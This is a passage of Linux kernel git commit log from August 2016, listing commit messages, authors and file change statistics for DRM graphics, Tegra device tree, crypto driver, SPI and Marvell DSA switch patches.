-- drivers/gpu/drm/vmwgfx/vmwgfx_ldu.c | 9 --------- drivers/gpu/drm/vmwgfx/vmwgfx_scrn.c | 11 ----------- drivers/gpu/drm/vmwgfx/vmwgfx_stdu.c | 7 ------- include/drm/drm_crtc.h | 7 ------- 7 files changed, 70 deletions(-) commit ecfd8efcf7f9ba9eadb23a98d9eb9d5586b868e7 Author: Daniel Vetter Date: Fri Aug 12 22:48:44 2016 +0200 drm/doc: Remove outdated FIXME for the page_flip callback Since the drm_event cleanup work (as prep for fence support) drivers don't need to bother themselves any more with this, the drm event core takes care of that. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-8-git-send-email-daniel.vetter@ffwll.ch include/drm/drm_crtc.h | 10 ---------- 1 file changed, 10 deletions(-) commit d25bcfb8c2e18b9b36f037f38be4d4792ebf8d57 Author: Daniel Vetter Date: Fri Aug 12 22:48:43 2016 +0200 drm/hisilicon: Don't set drm_device->platformdev It's deprecated and only should be used by drivers which still use drm_platform_init, not by anyone else. And indeed it's entirely unused and can be nuked. This required a bit more fudging, but I guess kirin_dc_ops really wants to operate on the platform_device, not something else. Also bonus points for implementing abstraction, and then storing the vfunc in a global variable. Cc: Xinliang Liu Cc: Xinwei Kong Cc: Archit Taneja Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-7-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c | 10 +++++----- drivers/gpu/drm/hisilicon/kirin/kirin_drm_drv.c | 6 ++---- drivers/gpu/drm/hisilicon/kirin/kirin_drm_drv.h | 4 ++-- 3 files changed, 9 insertions(+), 11 deletions(-) commit f1d1326c99a9dbbfd8bc389f7a8f90a8ef6d8aa9 Author: Daniel Vetter Date: Fri Aug 12 22:48:42 2016 +0200 drm/etnaviv: Don't set drm_device->platformdev It's deprecated and only should be used by drivers which still use drm_platform_init, not by anyone else. And indeed it's entirely unused and can be nuked. Cc: Lucas Stach Cc: Russell King Cc: Christian Gmeiner Acked-by: Lucas Stach Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-6-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/etnaviv/etnaviv_drv.c | 2 -- 1 file changed, 2 deletions(-) commit 311b62d94c0b172298c8a9c1f995f1ce8bbba539 Author: Daniel Vetter Date: Fri Aug 12 22:48:41 2016 +0200 drm/doc: Reorg for drm-kms.rst - Again adjust headings a bit, and don't mix up the initialization sections with other stuff. - Remove the doc for output polling, that vfunc is now properly documented in the vfunc reference sections. - Move the grab-bag with all the core stuff (i.e. drm_crtc.[hc]) to the front for a more prominent place. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-5-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 50 ++++++++++++++++--------------------------- 1 file changed, 19 insertions(+), 31 deletions(-) commit 8febdf0d596729d1115beb3dc0a394263a94ffb2 Author: Daniel Vetter Date: Fri Aug 12 22:48:40 2016 +0200 drm/doc: Reorg drm-mm.rst - Readjust headings - we lost one level through the extraction into a separate .rst file. - Merge helper reference sections with the helper documentation - that split was just an artifact of the docbook toolchain sucking at too deep nesting levels. No such problems with sphinx. - Move the cma helpers in with the gem documentation, since they're helpers to implement gem using CMA/dma memory as a backend. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-4-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-mm.rst | 58 ++++++++++++++++++++++---------------------- 1 file changed, 29 insertions(+), 29 deletions(-) commit 1de72faf10c367d80039761dca5f761b42abca01 Author: Daniel Vetter Date: Fri Aug 12 22:48:39 2016 +0200 drm/kms-helpers: Extract drm_modeset_helper.[hc] While reviewing docs I spotted that we have a few functions that really just don't fit into their containing helper library section. Extract them and shovel them all into a new library for random one-off aux stuff. v2: Remove wrongly added files for real. Cc: Sean Paul Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-3-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms-helpers.rst | 9 ++ drivers/gpu/drm/Makefile | 2 +- drivers/gpu/drm/drm_crtc_helper.c | 56 ------------- drivers/gpu/drm/drm_modeset_helper.c | 153 ++++++++++++++++++++++++++++++++++ drivers/gpu/drm/drm_plane_helper.c | 66 --------------- include/drm/drm_atomic_helper.h | 2 + include/drm/drm_crtc_helper.h | 6 +- include/drm/drm_modeset_helper.h | 36 ++++++++ include/drm/drm_plane_helper.h | 4 +- 9 files changed, 203 insertions(+), 131 deletions(-) commit bcb32b691c639f38575d7b7f1be53de0a468d6e8 Author: Daniel Vetter Date: Fri Aug 12 22:48:38 2016 +0200 drm/doc: Light drm-kms-helper.rst cleanup - Move the common vtable stuff to the top - Move "Tile Group" to a more appropriate heading level - Throw away the old intro for the crtc helpers (it's entirely stale, e.g. helpers have become modular years ago), and replace it with a general intro about the motivation behind helpers. - Reorder helpers to group them together a bit better, and explain that grouping in the intro. - Make sure the introductory DOC section is always first. v2: - Remove bogus files accidentally added (Sean). - Spelling fixes (Sean). Cc: Sean Paul Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-2-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms-helpers.rst | 208 +++++++++++++++++----------------- Documentation/gpu/drm-uapi.rst | 3 + 2 files changed, 107 insertions(+), 104 deletions(-) commit 62cacc79398383d3ff47011557c77e71369126ca Author: Daniel Vetter Date: Fri Aug 12 22:48:37 2016 +0200 drm/doc: Fix more kerneldoc/sphinx warnings These are the leftovers I could only track down using keep_warnings = True. For some of them we might want to update our style guide on how to reference structures and constants, not sure ... Cc: Markus Heiser Cc: Jonathan Corbet Cc: linux-doc@vger.kernel.org Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-1-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_crtc.c | 4 ++-- drivers/gpu/drm/drm_fb_helper.c | 2 +- drivers/gpu/drm/drm_irq.c | 8 +++---- drivers/gpu/drm/drm_simple_kms_helper.c | 2 +- drivers/gpu/drm/i915/i915_vgpu.c | 42 ++++++++++++++++----------------- drivers/gpu/drm/i915/intel_audio.c | 6 ++--- drivers/gpu/drm/i915/intel_guc_fwif.h | 5 ++-- include/drm/drm_crtc.h | 8 +++---- include/drm/drm_gem.h | 4 ++-- 9 files changed, 41 insertions(+), 40 deletions(-) commit 33a6c324a7266462f933ab25a92383c882e4b4f1 Author: Thomas Petazzoni Date: Fri Aug 5 16:55:18 2016 +0200 dt-bindings: interrupt-controller: add DT binding for Marvell 7K/8K PIC This commit adds the Device Tree binding description for the PIC interrupt controller available in the ARM64 Marvell Armada 7K/8K SoCs. Signed-off-by: Thomas Petazzoni Acked-by: Rob Herring Link: https://lkml.kernel.org/r/1470408921-447-2-git-send-email-thomas.petazzoni@free-electrons.com Signed-off-by: Jason Cooper .../interrupt-controller/marvell,armada-8k-pic.txt | 25 ++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit 016655121e7a17cd83fde4109293dd8954f9c371 Author: Stephen Warren Date: Mon Aug 15 11:31:32 2016 -0600 arm64: tegra: Simplify Tegra210 GPIO compatible value The compatible value need only include an entry for the specific HW generation, plus the oldest HW version that introduced changes it is backwards-compatible with; intermediate versions aren't necessary. Since Tegra124 GPIO is backwards-compatible with Tegra30 GPIO, there's no need to include the Tegra124 value in the Tegra210 DTS. This makes the kernel DT better match the copy of the DT files included in U-Boot. Signed-off-by: Stephen Warren Signed-off-by: Thierry Reding arch/arm64/boot/dts/nvidia/tegra210.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7e9d474954f4c8c27534633252500e0c477581bd Author: Jon Hunter Date: Tue Aug 2 11:34:27 2016 +0100 ARM: tegra: Correct polarity for Tegra114 PMIC interrupt The ARM GIC only supports interrupts with either level-high or rising-edge types for SPIs. The interrupt type for the Palmas PMIC used for Tegra114 boards is specified as level-low which is invalid for the GIC. This has gone undetected because until recently, failures to set the interrupt type when the interrupts are mapped via firmware (such as device-tree) have not been reported. Since commits 4b357daed698 ("genirq: Look-up trigger type if not specified by caller") and 1e2a7d78499e ("irqdomain: Don't set type when mapping an IRQ"), failure to set the interrupt type will cause the requesting of the interrupt to fail and exposing incorrectly configured interrupts. Please note that although the interrupt type was never being set for the Palmas PMIC, it was still working fine, because the default type setting for the interrupt, 'level-high', happen to match the correct type for the interrupt. Finally, it should be noted that the Palmas interrupt from the PMIC is actually 'level-low', however, this interrupt signal is inverted by the Tegra PMC and so the GIC actually sees a 'level-high' interrupt which is what should be specified in the device-tree interrupt specifier. Signed-off-by: Jon Hunter Signed-off-by: Thierry Reding arch/arm/boot/dts/tegra114-dalmore.dts | 2 +- arch/arm/boot/dts/tegra114-roth.dts | 2 +- arch/arm/boot/dts/tegra114-tn7.dts | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit a70cb07bb397fce6675d7ab055fb447519fc7c76 Author: Stephen Warren Date: Mon Aug 15 11:31:31 2016 -0600 ARM: tegra: Fix Tegra114 USB compatible values DT compatible values should always include an entry for the specific chip in addition to any earlier generations that the HW is backwards- compatible with. This doesn't affect the kernel at all given current driver code, but U-Boot needs to distinguish between Tegra114 and Tegra30 for this HW, and I'd like to synchronize the DT content. Signed-off-by: Stephen Warren Signed-off-by: Thierry Reding arch/arm/boot/dts/tegra114.dtsi | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit e1f96ef46caf8ed0bf06a694bef98bc31444415f Author: Shawn Guo Date: Tue Aug 16 15:06:08 2016 +0800 drm: drop DRIVER_HAVE_IRQ flag for some drivers Since commit 4984979b9b90 ("drm/irq: simplify irq checks in drm_wait_vblank"), the drm driver feature flag DRIVER_HAVE_IRQ is only required for drivers that have an IRQ handler managed by the DRM core. Some drivers, armada, etnaviv, kirin and sti, set this flag without .irq_handler setup in drm_driver. These drivers manage IRQ handler by themselves and the flag DRIVER_HAVE_IRQ makes no sense there. Drop the flag for these drivers to avoid confusion. Signed-off-by: Shawn Guo Cc: Vincent Abriou Cc: Xinliang Liu Acked-by: Russell King (for armada and etnaviv) Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471331168-5601-1-git-send-email-shawnguo@kernel.org drivers/gpu/drm/armada/armada_drv.c | 2 +- drivers/gpu/drm/etnaviv/etnaviv_drv.c | 3 +-- drivers/gpu/drm/hisilicon/kirin/kirin_drm_drv.c | 2 +- drivers/gpu/drm/sti/sti_drv.c | 2 +- 4 files changed, 4 insertions(+), 5 deletions(-) commit d3828147079551189e1350c6676cd961de904cf2 Author: Eric Engestrom Date: Mon Aug 15 16:29:55 2016 +0100 drm: remove `const` attribute to hint at caller that they now own the memory Signed-off-by: Eric Engestrom Reviewed-by: Jani Nikula Signed-off-by: Daniel Vetter drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 2 +- drivers/gpu/drm/amd/amdgpu/dce_v11_0.c | 2 +- drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 2 +- drivers/gpu/drm/drm_atomic.c | 2 +- drivers/gpu/drm/drm_crtc.c | 8 ++++---- drivers/gpu/drm/drm_fourcc.c | 4 ++-- drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c | 2 +- drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/intel_atomic_plane.c | 2 +- drivers/gpu/drm/i915/intel_display.c | 4 ++-- drivers/gpu/drm/radeon/atombios_crtc.c | 4 ++-- include/drm/drm_fourcc.h | 2 +- 12 files changed, 18 insertions(+), 18 deletions(-) commit c4b4057267f258e6d823080205f47227fb2abfd7 Author: Chanwoo Choi Date: Tue Aug 16 15:27:19 2016 +0900 cpufreq: dt: Add exynos5433 compatible to use generic cpufreq driver This patch adds the exynos5433 compatible string for supporting the generic cpufreq driver on Exynos5433. Signed-off-by: Chanwoo Choi Reviewed-by: Krzysztof Kozlowski Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cpufreq-dt-platdev.c | 1 + 1 file changed, 1 insertion(+) commit 408ef7e18097810f160629447e6ebe979a0b4282 Author: Markus Elfring Date: Mon Aug 15 16:16:00 2016 +0200 ASoC: max98371: Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Mark Brown sound/soc/codecs/max98371.c | 1 - 1 file changed, 1 deletion(-) commit 37b918a034feda1b1ef404acf003812f37ab8da2 Author: Tim Harvey Date: Mon Aug 15 12:40:23 2016 -0700 regulator: Add LTC3676 support This patch adds support for the Linear Technology LTC3676 8-output I2C voltage regulator IC. Cc: Jaffer Kapasi Signed-off-by: Tim Harvey Signed-off-by: Mark Brown .../devicetree/bindings/regulator/ltc3676.txt | 94 +++++ drivers/regulator/Kconfig | 8 + drivers/regulator/Makefile | 1 + drivers/regulator/ltc3676.c | 420 +++++++++++++++++++++ 4 files changed, 523 insertions(+) commit 53d89160753c7d32bb82d3bed980fd3dc3f2538a Author: LABBE Corentin Date: Tue Aug 16 11:50:21 2016 +0200 spi: spi-fsl-dspi: fix a possible NULL dereference of_match_device could return NULL, and so cause a NULL pointer dereference later. For fixing this problem, we use of_device_get_match_data(), this will simplify the code a little by using a standard function for getting the match data. Reported-by: coverity (CID 1324129) Signed-off-by: LABBE Corentin Signed-off-by: Mark Brown drivers/spi/spi-fsl-dspi.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 94b968b5a3e282edbdf21735edbeb93a5a1fa119 Author: LABBE Corentin Date: Tue Aug 16 11:50:20 2016 +0200 spi: spi-fsl-dspi: constify devtype_data of_id->data is const, so instead of casting the pointer to drop its const status, this patch constify the devtype_data pointer. Signed-off-by: LABBE Corentin Signed-off-by: Mark Brown drivers/spi/spi-fsl-dspi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a9ccc123a8e05365f7515dcd023b01100809a6fa Author: Vince Hsu Date: Thu Aug 11 09:13:36 2016 +0800 soc/tegra: pmc: Fix incorrect DPD request Reading the DPD_REQ & DPD2_REQ registers returns the previous requests. If we sets the current request bit with the returned value, then other pads will be turned on or off unexpectedly. Signed-off-by: Vince Hsu Reviewed-by: Jon Hunter Signed-off-by: Thierry Reding drivers/soc/tegra/pmc.c | 28 ++++++++-------------------- 1 file changed, 8 insertions(+), 20 deletions(-) commit 3a99cb090b523f88d0a19598d39704afac11adcb Author: Jon Hunter Date: Tue Aug 16 11:17:36 2016 +0100 bus: tegra-aconnect: Use of_pm_clk_add_clk() Commit 498b5fdd40dd ("PM / clk: Add support for adding a specific clock from device-tree") add a new helper function for adding a clock from device-tree to a device. Update the Tegra ACONNECT driver to use this new function to simplify the driver. Signed-off-by: Jon Hunter Signed-off-by: Thierry Reding drivers/bus/tegra-aconnect.c | 22 ++-------------------- 1 file changed, 2 insertions(+), 20 deletions(-) commit 2d301c0721f59d20bb82a901ba8fad7b74c95728 Author: Thierry Reding Date: Thu Jun 30 17:07:05 2016 +0200 bus: tegra-aconnect: Make symbol tristate The driver uses symbols that weren't being exported in earlier versions of the Linux kernel and hence it had to be made bool. The exports have been merged into v4.8-rc1, so the driver can now be built as a module again. Signed-off-by: Thierry Reding drivers/bus/Kconfig | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit ca99d8781fd16edf4c98536a9c18e59a17b06b6c Author: Chris Wilson Date: Mon Aug 15 19:06:23 2016 +0100 drm/i915: Silence GCC warning for cmn_a_well Just make the logic simple enough for even GCC to understand (and foolproof against random changes): drivers/gpu/drm/i915/intel_runtime_pm.c: warning: 'cmn_a_well' may be used uninitialized in this function [-Wuninitialized]: => 871:23 Reported-by: Geert Uytterhoeven Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1471284383-22324-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Imre Deak drivers/gpu/drm/i915/intel_runtime_pm.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1255501d8681775d564de45742c6e82b7782b7f5 Author: Chris Wilson Date: Tue Aug 16 09:50:40 2016 +0100 drm/i915: Embrace the race in busy-ioctl Daniel Vetter proposed a new challenge to the serialisation inside the busy-ioctl that exposed a flaw that could result in us reporting the wrong engine as being busy. If the request is reallocated as we test its busyness and then reassigned to this object by another thread, we would not notice that the test itself was incorrect. We are faced with a choice of using __i915_gem_active_get_request_rcu() to first acquire a reference to the request preventing the race, or to acknowledge the race and accept the limitations upon the accuracy of the busy flags. Note that we guarantee that we never falsely report the object as idle (providing userspace itself doesn't race), and so the most important use of the busy-ioctl and its guarantees are fulfilled. Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Reviewed-by: Mika Kuoppala Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471337440-16777-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 112 +++++++++++++++++++++++----------------- include/uapi/drm/i915_drm.h | 16 +++++- 2 files changed, 81 insertions(+), 47 deletions(-) commit d89a67134fcc7e863530624fe5a88dde0159cfb8 Author: Stephan Mueller Date: Tue Aug 9 21:02:36 2016 +0200 crypto: drbg - do not call drbg_instantiate in healt test When calling the DRBG health test in FIPS mode, the Jitter RNG is not yet present in the kernel crypto API which will cause the instantiation to fail and thus the health test to fail. As the health tests cover the enforcement of various thresholds, invoke the functions that are supposed to enforce the thresholds directly. This patch also saves precious seed. Reported-by: Tapas Sarangi Signed-off-by: Stephan Mueller Signed-off-by: Herbert Xu crypto/drbg.c | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) commit c5f91cde6ba3e16772bca3885a3d51db73ed6a97 Author: Markus Elfring Date: Tue Aug 16 07:51:21 2016 +0200 hwrng: pic32 - Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Herbert Xu drivers/char/hw_random/pic32-rng.c | 1 - 1 file changed, 1 deletion(-) commit dabc7904a74c47ead9d40cc00d5e8b1946a0736c Author: Wei Yongjun Date: Fri Aug 12 00:00:09 2016 +0000 crypto: ccp - Fix non static symbol warning Fixes the following sparse warning: drivers/crypto/ccp/ccp-dev.c:62:14: warning: symbol 'ccp_increment_unit_ordinal' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b6ff2fdd429cffe83b576f2e1eed33a4b0f1e4fe Author: Corentin LABBE Date: Wed Aug 10 11:45:34 2016 +0200 crypto: sun4i-ss - fix indentation of two crypto alg Two crypto alg are badly indented, this patch fix this style issue. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/crypto/sunxi-ss/sun4i-ss-core.c | 68 ++++++++++++++++----------------- 1 file changed, 34 insertions(+), 34 deletions(-) commit 9b17e5ad7831cde78314f96445cfb4a9945c6c68 Author: Corentin LABBE Date: Wed Aug 10 11:45:33 2016 +0200 crypto: sun4i-ss - Always use sun4i_tfm_ctx for storing pointer to dev ss The dev *ss is stored both in sun4i_tfm_ctx and sun4i_req_ctx. Since this pointer will never be changed during tfm life, it is better to remove it from sun4i_req_ctx. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/crypto/sunxi-ss/sun4i-ss-hash.c | 13 +++++++++++-- drivers/crypto/sunxi-ss/sun4i-ss.h | 1 - 2 files changed, 11 insertions(+), 3 deletions(-) commit 933e7e3ab239fe7fad5d64f3e2828618b3568e8c Author: Corentin LABBE Date: Wed Aug 10 11:45:32 2016 +0200 crypto: sun4i-ss - fix spelling Two words are badly spelled, this patch respell them. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/crypto/sunxi-ss/sun4i-ss-hash.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d98a949bb852c7bc87ffc87c883a8c02e0ee0d5b Author: Corentin LABBE Date: Wed Aug 10 11:45:31 2016 +0200 crypto: sun4i-ss - clean unused ss The ss variable is never used, remove it. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/crypto/sunxi-ss/sun4i-ss-hash.c | 2 -- 1 file changed, 2 deletions(-) commit 477d9b2e591b8da6901b7c64cc2f08ce7499cfb6 Author: Corentin LABBE Date: Wed Aug 10 11:45:30 2016 +0200 crypto: sun4i-ss - unify update/final function The update and final functions have lots of common action. This patch mix them in one function. This will give some improvements: - This will permit asynchronous support more easily - This will permit to use finup/digest functions with some performance improvements Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/crypto/sunxi-ss/sun4i-ss-hash.c | 147 ++++++++++++++++++-------------- drivers/crypto/sunxi-ss/sun4i-ss.h | 1 + 2 files changed, 85 insertions(+), 63 deletions(-) commit ea1a67414318822b34255c284fa1caa084cbd604 Author: Corentin LABBE Date: Wed Aug 10 11:45:29 2016 +0200 crypto: sun4i-ss - fix a few signed warning The variable i is always checked against unsigned value and cannot be negative. This patch set it as unsigned. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/crypto/sunxi-ss/sun4i-ss-cipher.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit ddbc73616ccd1825647cd25c47d80e718041ea08 Author: Corentin LABBE Date: Wed Aug 10 11:29:33 2016 +0200 crypto: xts - fix a little typo The sentence 'Based on' is misspelled, respell it. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu crypto/xts.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7955dac1b7efab7ae1e7522ea9af3fdc18a257d0 Author: Laurent Pinchart Date: Fri Aug 12 12:14:28 2016 +0300 pinctrl: sh-pfc: r8a7795: Add DU support Only the DU parallel RGB output signals are included, HDMI and TCON pins will be added in separate groups. Signed-off-by: Laurent Pinchart Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7795.c | 100 +++++++++++++++++++++++++++++++++++ 1 file changed, 100 insertions(+) commit b0f566838cfe086a96bffd9c67dd8844a41870ea Author: Wei Yongjun Date: Mon Aug 15 15:03:51 2016 +0000 drm/mgag200: fix error return code in mgag200fb_create() Fix to return error code -ENOMEM from the vmalloc() error handling case instead of 0, as done elsewhere in this function. Fixes: aec9e12953e7 ("drm/mgag200: Fix error handling paths in fbdev driver") Signed-off-by: Wei Yongjun Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471273431-6753-1-git-send-email-weiyj.lk@gmail.com drivers/gpu/drm/mgag200/mgag200_fb.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit ae4e46b14bd7a12fb7908425846be7ceb0853bbc Author: Chris Wilson Date: Mon Aug 15 16:42:18 2016 +0100 dma-buf: Wait on the reservation object when sync'ing before CPU access Rendering operations to the dma-buf are tracked implicitly via the reservation_object (dmabuf->resv). This is used to allow poll() to wait upon outstanding rendering (or just query the current status of rendering). The dma-buf sync ioctl allows userspace to prepare the dma-buf for CPU access, which should include waiting upon rendering. (Some drivers may need to do more work to ensure that the dma-buf mmap is coherent as well as complete.) v2: Always wait upon the reservation object implicitly. We choose to do it after the native handler in case it can do so more efficiently. Testcase: igt/prime_vgem Testcase: igt/gem_concurrent_blit # *vgem* Signed-off-by: Chris Wilson Cc: Sumit Semwal Cc: Daniel Vetter Cc: Eric Anholt Cc: linux-media@vger.kernel.org Cc: dri-devel@lists.freedesktop.org Cc: linaro-mm-sig@lists.linaro.org Cc: linux-kernel@vger.kernel.org Reviewed-by: Daniel Vetter Signed-off-by: Sumit Semwal Link: http://patchwork.freedesktop.org/patch/msgid/1471275738-31994-1-git-send-email-chris@chris-wilson.co.uk drivers/dma-buf/dma-buf.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 21c66101b41bbc4753a6fc8f9e429729180d41bb Author: Markus Elfring Date: Mon Aug 15 18:06:46 2016 +0200 ARM: s3c64xx: Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialization. Signed-off-by: Markus Elfring Signed-off-by: Krzysztof Kozlowski arch/arm/mach-s3c64xx/mach-crag6410-module.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit b19aa5a70e7d78d225d4f89e792019f237b3656e Author: Fabian Frederick Date: Fri Aug 12 23:28:55 2016 +0200 ARM: imx: remove platform-mxc_rnga According to commit c9ee94965dce ("ARM: imx: deconstruct mxc_rnga initialization") Signed-off-by: Fabian Frederick Signed-off-by: Shawn Guo arch/arm/mach-imx/devices/Makefile | 1 - 1 file changed, 1 deletion(-) commit 268ef4b78ca48de269dbdaaab0c7a33e853ab2fd Merge: 45d3393 9c93829 Author: David S. Miller Date: Mon Aug 15 16:43:56 2016 -0700 Merge branch 'dsa-abstract-PHY-access' Vivien Didelot says: ==================== net: dsa: abstract PHY accesses The Marvell 88E6xxx switch chips have different way to access the PHY devices registers. Old chips use a direct access to the PHY registers. Next chips have a PHY Polling Unit (PPU) which needs to be disabled before accessing PHY registers. Newer chips have an indirect access to the PHY devices so that disabling the PPU is not necessary. This patchset abstracts these accesses behind a new mv88e6xxx_phy_* API. It also has the side effect to fix the temperature access code for 88E61xx chips which were using the wrong PHY access functions. ==================== Signed-off-by: David S. Miller commit 9c93829c014f1a18a4aac2bf15b79ff4325a0912 Author: Vivien Didelot Date: Mon Aug 15 17:19:02 2016 -0400 net: dsa: mv88e6xxx: use the new PHY API This commit replaces every MDIO direct or indirect access with the new generic mv88e6xxx_phy_* routines. This allows us to get rid of the mv88e6xxx_mdio_{read,write}_{,in}direct and {_,}mv88e6xxx_mdio_page_{read,write} functions. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 185 +++++++++++---------------------------- 1 file changed, 50 insertions(+), 135 deletions(-) commit 09cb7dfd3f144d18168e27b35361e9024763db15 Author: Vivien Didelot Date: Mon Aug 15 17:19:01 2016 -0400 net: dsa: mv88e6xxx: describe PHY page and SerDes Add mv88e6xxx_phy_page_{read,write} routines and use them to access the SerDes PHY device registers. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 95 +++++++++++++++++++++++++++++------ drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 27 ++++++++-- 2 files changed, 105 insertions(+), 17 deletions(-) commit e57e5e7769408b3899c2ef81422ab202dee7139d Author: Vivien Didelot Date: Mon Aug 15 17:19:00 2016 -0400 net: dsa: mv88e6xxx: abstract PHY ops Old chips use a direct access to the PHY devices registers. Next chips have a PHY Polling Unit (PPU) which needs to be disabled before accessing PHY registers. Newer chips have an indirect access to the PHY devices so that disabling the PPU is not necessary. Introduce a new phy_ops structure in the chip to describe the required PHY access routines. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 131 +++++++++++++++++++++------------- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 1 + 2 files changed, 81 insertions(+), 51 deletions(-) commit 57c67cf57a3898d234f029ca674f82d5bd2c080a Author: Vivien Didelot Date: Mon Aug 15 17:18:59 2016 -0400 net: dsa: mv88e6xxx: rework Global2 SMI PHY access Describe the presence of the Global2 SMI PHY registers, used to indirectly access the internal SMI devices registers on some chips. Also temporarily forward declare mv88e6xxx_g2_smi_phy_{read,write} to use them in mv88e6xxx_mdio_{read,write}_indirect, before getting rid of the later. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 97 +++++++++++++++++++++++------------ drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 49 +++++++++--------- 2 files changed, 90 insertions(+), 56 deletions(-) commit a0ffff2484dcd65e368a0c1b68a39b630167c2a5 Author: Vivien Didelot Date: Mon Aug 15 17:18:58 2016 -0400 net: dsa: mv88e6xxx: describe Multi-chip registers Add flags to describe the presence of SMI Command and Data registers used to indirectly access internal SMI devices registers when the switch SMI address is not zero. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 2 +- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 40 ++++++++++++++++++++++------------- 2 files changed, 26 insertions(+), 16 deletions(-) commit 2d79af6e35cd93614560b5b7e760daa306978813 Author: Vivien Didelot Date: Mon Aug 15 17:18:57 2016 -0400 net: dsa: mv88e6xxx: rename _mv88e6xxx_wait Now that there is no locked version of the wait routine anymore, rename the _ prefixed version and make it use the new read API. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 63 +++++++++++++++++++++------------------- 1 file changed, 33 insertions(+), 30 deletions(-) commit f7c8f1de03eafae8f11818a185cebd82d1043302 Merge: b732ace 33e7664 Author: Sebastian Reichel Date: Tue Aug 16 01:17:42 2016 +0200 Merge tag 'for-v4.8-rc' into psy-next Power Supply Fixes for 4.8 cycle commit 45d339309f491058f5a3f974a17aa893f5a35329 Author: Wei Yongjun Date: Mon Aug 15 22:51:48 2016 +0000 net: mediatek: remove unnecessary platform_set_drvdata() The driver core clears the driver data 